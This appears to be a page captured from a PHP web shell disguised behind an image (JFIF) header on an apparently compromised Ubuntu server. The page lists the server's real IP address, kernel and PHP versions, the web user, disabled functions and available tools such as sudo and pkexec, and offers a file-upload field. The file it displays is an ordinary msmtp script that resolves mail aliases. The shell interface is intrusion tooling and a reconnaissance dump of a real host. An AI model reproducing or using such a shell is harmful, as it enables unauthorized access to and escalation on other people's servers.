????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.16.160.142 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/msmtp/examples/find_alias/ |
Upload File : |
#!/bin/bash # Jim Lofft 06/19/2009 # find_alias_for_msmtp.sh # popper email server was replaced by exchange. I replaced sendmail with this script # which scans /etc/alias file for a valid domain email address and calls msmtp (http://msmtp.sourceforge.net/) # # changed a little by Ovidiu Constantin <ovidiu@mybox.ro> && http://blog.mybox.ro/ # DEFAULTEMAIL="you@domain.com" v_recipient=0 v_msg=`cat` # email message contents MSMTP=`which msmtp || echo "/usr/local/bin/msmtp"` # if [ "$1" = '-i' ] ; then v_recipient=$2 # mailx calls sendmail with -i as the 1st param and the recipient as the second param elif [ "$1" = '-t' ] ; then # most other programs call sendmail with a -t option v_to=`echo "$v_msg" | grep -m 1 'To: '` v_recipient=${v_to:4:50} else v_recipient=$1 # no parameter, sendmail was called with the recipient as parameter fi # if [ $v_recipient != 0 ] ; then # trim spaces from recipient email address v_recipient="${v_recipient// /}" # see if this email is to a @ domain.com v_domain=`expr index "{$v_recipient}" @` # if this email isn't to a domain, then it's a local email, so # look up the recipient in the aliases file if [ "$v_domain" = 0 ]; then v_find_alias=`grep "$v_recipient": /etc/aliases | awk '{print $2}'` #grep alias file v_alias_domain=`expr index "{$v_find_alias}" @` # grep for an @domain address if [ "$v_alias_domain" = 0 ]; then # we didn't find an @, grep alias again v_next_alias=`grep "$v_find_alias": /etc/aliases | awk '{print $2}'` v_alias_domain=`expr index "{$v_next_alias}" @` if [ "$v_alias_domain" = 0 ]; then # email someone important if no @ alias is found v_recipient=$DEFAULTEMAIL else v_recipient=$v_next_alias fi else v_recipient=$v_find_alias fi fi # Send msmtp email echo "$v_msg" | $MSMTP -i $v_recipient else # we're not sure who this email is for, just send it to msmtp and see what happens.. echo "$v_msg" | $MSMTP $1 $2 $3 $4 $5 fi